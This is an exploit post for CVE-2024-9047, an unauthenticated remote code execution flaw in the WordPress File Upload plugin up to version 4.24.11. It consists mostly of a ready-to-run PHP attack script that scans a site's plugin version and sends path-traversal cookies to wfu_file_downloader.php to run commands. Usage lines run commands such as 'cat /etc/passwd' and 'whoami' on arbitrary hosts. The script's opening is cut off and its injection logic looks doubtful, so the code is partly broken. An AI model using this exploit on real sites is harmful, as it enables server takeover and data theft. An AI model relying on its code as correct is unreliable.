============================================================================================================================================= | # Title : WordPress File Upload 4.24.11 Unauthenticated Remote Code Execution | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) | | # Vendor : https://wordpress.org/plugins/wp-file-upload/ | ============================================================================================================================================= POC : [+] References : https://packetstorm.news/files/id/183439/ & CVE-2024-9047 [+] Summary : A critical unauthenticated remote code execution vulnerability exists in the WordPress File Upload plugin versions 4.24.11 and earlier. The vulnerability allows attackers to execute arbitrary operating system commands through path traversal and improper input validation in the wfu_file_downloader.php component. [+] Vulnerability Details : • Vulnerability Type: Unauthenticated Remote Code Execution • Affected Versions: 4.24.11 and earlier • Patched Version: 4.24.12 • Attack Vector: Network • Authentication: Not Required (Unauthenticated) • CVSS Score: 9.8 (Critical) • CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') & CWE-78: Improper Neutralization of Special Elements used in an OS Command • CVE: CVE-2024-9047 [+] Technical Description The vulnerability exists in the wfu_file_downloader.php file of the WordPress File Upload plugin. The component fails to properly validate and sanitize user input in cookie parameters, allowing attackers to: 1. Bypass file path restrictions through directory traversal 2. Inject system commands via crafted cookie values 3. Execute arbitrary commands with web server privileges 4. Read arbitrary files from the server filesystem [+] Vulnerable Code Pattern: // In /wp-content/plugins/wp-file-upload/wfu_file_downloader.php $file_code = $_GET['file']; $ticket = $_GET['ticket']; $handler = $_GET['handler']; // Cookie values used without proper validation $storage_value = $_COOKIE['wfu_storage_' . $file_code]; $abspath = $_COOKIE['wfu_ABSPATH']; // Path traversal and command injection possible $file_path = $storage_value . $some_parameter; system($file_path); // Or similar command execution [+] Usage: # Vulnerability Scan php exploit.php https://example.com --scan # Command Execution php exploit.php https://example.com "whoami" php exploit.php https://example.com "cat /etc/passwd" php exploit.php 192.168.1.100 "ls -la" [+] POC : colors = [ 'RED' => "\033[1;31m", 'GREEN' => "\033[1;32m", 'YELLOW' => "\033[1;33m", 'BLUE' => "\033[1;34m", 'MAGENTA' => "\033[1;35m", 'CYAN' => "\033[1;36m", 'WHITE' => "\033[1;37m", 'NC' => "\033[0m" ]; } private function color($text, $color) { return $this->colors[$color] . $text . $this->colors['NC']; } private function showBanner() { $banner = $this->color(" ", 'CYAN') . $this->color(" ", 'MAGENTA') . $this->color("\n CVE-2024-9047 - WordPress File Upload RCE\n", 'RED') . $this->color(" @indoushka\n\n", 'WHITE'); echo $banner; } private function makeRequest($url, $method = 'GET', $headers = [], $cookies = []) { $contextOptions = [ 'http' => [ 'method' => $method, 'header' => implode("\r\n", $headers), 'timeout' => 10, 'ignore_errors' => true ] ]; if (!empty($cookies)) { $cookieHeader = 'Cookie: '; foreach ($cookies as $name => $value) { $cookieHeader .= $name . '=' . $value . '; '; } $contextOptions['http']['header'] .= "\r\n" . rtrim($cookieHeader, '; '); } $context = stream_context_create($contextOptions); $response = @file_get_contents($url, false, $context); if ($response === false) { return ['success' => false, 'error' => 'Request failed']; } // Get HTTP status code $statusCode = 0; if (isset($http_response_header[0])) { preg_match('/HTTP\/\d\.\d\s+(\d+)/', $http_response_header[0], $matches); $statusCode = isset($matches[1]) ? (int)$matches[1] : 0; } return [ 'success' => true, 'status_code' => $statusCode, 'content' => $response ]; } private function getPluginVersion($host) { $pluginPath = "/wp-content/plugins/wp-file-upload/"; $versionFile = "release_notes.txt"; $versionUrl = $host . $pluginPath . $versionFile; echo $this->color("[*] Checking plugin version for: ", 'BLUE') . $host . "\n"; $response = $this->makeRequest($versionUrl); if (!$response['success']) { echo $this->color("[-] Failed to retrieve plugin version", 'YELLOW') . "\n"; return null; } // Extract version from release notes if (preg_match('/Version\s+([0-9]+\.[0-9]+\.[0-9]+)/', $response['content'], $matches)) { return $matches[1]; } return null; } private function versionCompare($version1, $version2) { $v1 = explode('.', $version1); $v2 = explode('.', $version2); for ($i = 0; $i < max(count($v1), count($v2)); $i++) { $num1 = isset($v1[$i]) ? (int)$v1[$i] : 0; $num2 = isset($v2[$i]) ? (int)$v2[$i] : 0; if ($num1 < $num2) return -1; if ($num1 > $num2) return 1; } return 0; } public function exploit($host, $command) { $this->showBanner(); $vulnerableVersion = "4.24.11"; // Check if host has protocol if (!preg_match('/^https?:\/\//', $host)) { $host = 'http://' . $host; } $host = rtrim($host, '/'); echo $this->color("[*] Target: ", 'BLUE') . $host . "\n"; echo $this->color("[*] Command: ", 'BLUE') . $command . "\n\n"; // Step 1: Check plugin version $version = $this->getPluginVersion($host); if ($version === null) { echo $this->color("[-] Plugin may not be installed or accessible", 'YELLOW') . "\n"; echo $this->color("[*] Proceeding with exploitation attempt anyway...\n", 'YELLOW'); } else { echo $this->color("[*] Detected plugin version: ", 'BLUE') . $version . "\n"; if ($this->versionCompare($version, $vulnerableVersion) <= 0) { echo $this->color("[+] Plugin version " . $version . " is vulnerable!\n", 'GREEN'); } else { echo $this->color("[-] Plugin version " . $version . " may not be vulnerable\n", 'YELLOW'); echo $this->color("[*] Continuing with exploitation attempt...\n", 'YELLOW'); } } // Step 2: Prepare exploitation $pluginPath = "/wp-content/plugins/wp-file-upload/"; $exploitPath = "wfu_file_downloader.php"; $fileCode = "pQ1DyzbQp5hBxQpW"; $ticket = "Hw8h7dBmxROx27ZZ"; $handler = "dboption"; $sessionLegacy = "1"; $dboptionBase = "cookies"; $dboptionUseold = "0"; $cookieValue = "cfyMMnYQqNBbcBNMLTCDnE7ezEAdzLC3"; $storageValue = "/../../../../../" . $command; $timestamp = time(); $abspath = "/"; $exploitUrl = $host . $pluginPath . $exploitPath . "?file=" . $fileCode . "&ticket=" . $ticket . "&handler=" . $handler . "&session_legacy=" . $sessionLegacy . "&dboption_base=" . $dboptionBase . "&dboption_useold=" . $dboptionUseold . "&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce"; echo $this->color("[*] Attempting to exploit the vulnerability...\n", 'BLUE'); echo $this->color("[*] Exploit URL: ", 'CYAN') . $exploitUrl . "\n"; // Prepare headers $headers = [ "Host: " . parse_url($host, PHP_URL_HOST), "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Encoding: gzip, deflate", "Accept-Language: en-US,en;q=0.9", "Connection: close" ]; // Prepare cookies $cookies = [ "wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce" => $cookieValue, "wfu_storage_" . $fileCode => $storageValue, "wfu_download_ticket_" . $ticket => (string)$timestamp, "wfu_ABSPATH" => $abspath ]; // Send exploit request $response = $this->makeRequest($exploitUrl, 'GET', $headers, $cookies); if (!$response['success']) { echo $this->color("[-] Exploitation failed: " . $response['error'], 'RED') . "\n"; return; } echo $this->color("[*] Response Status: ", 'YELLOW') . $response['status_code'] . "\n"; if ($response['status_code'] === 200) { echo $this->color("[+] Exploitation successful!\n", 'GREEN'); echo $this->color("[+] Command output:\n", 'GREEN'); echo $this->color(str_repeat("=", 60), 'CYAN') . "\n"; echo $response['content'] . "\n"; echo $this->color(str_repeat("=", 60), 'CYAN') . "\n"; } else { echo $this->color("[-] Exploitation may have failed. Status: " . $response['status_code'], 'RED') . "\n"; // Show response preview for debugging if (!empty($response['content'])) { echo $this->color("[*] Response preview:\n", 'YELLOW'); echo substr($response['content'], 0, 500) . "\n"; } } } public function scan($host) { $this->showBanner(); if (!preg_match('/^https?:\/\//', $host)) { $host = 'http://' . $host; } $host = rtrim($host, '/'); echo $this->color("[*] Scanning target for WordPress File Upload plugin: ", 'BLUE') . $host . "\n\n"; $version = $this->getPluginVersion($host); if ($version === null) { echo $this->color("[-] WordPress File Upload plugin not detected", 'RED') . "\n"; return false; } echo $this->color("[+] Plugin detected: version " . $version, 'GREEN') . "\n"; $vulnerableVersion = "4.24.11"; if ($this->versionCompare($version, $vulnerableVersion) <= 0) { echo $this->color("[+] TARGET IS VULNERABLE to CVE-2024-9047!", 'RED') . "\n"; return true; } else { echo $this->color("[-] Target appears to be patched", 'GREEN') . "\n"; return false; } } } // Main execution if (php_sapi_name() === 'cli') { if ($argc < 2) { echo "CVE-2024-9047 - WordPress File Upload Plugin RCE Exploit\n"; echo "Usage:\n"; echo " php exploit.php [command]\n"; echo " php exploit.php --scan\n"; echo "\nExamples:\n"; echo " php exploit.php https://example.com \"cat /etc/passwd\"\n"; echo " php exploit.php 192.168.1.100 \"whoami\"\n"; echo " php exploit.php https://wordpress-site.com --scan\n"; echo "\nDescription:\n"; echo " Exploits RCE vulnerability in WordPress File Upload plugin <= 4.24.11\n"; echo " via wfu_file_downloader.php path traversal and command injection\n"; exit(1); } $target = $argv[1]; $command = $argv[2] ?? '--scan'; $exploit = new WPFUExploit(); if ($command === '--scan') { $exploit->scan($target); } else { $exploit->exploit($target, $command); } } else { echo "This script is intended for command line use only.\n"; } ?> Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================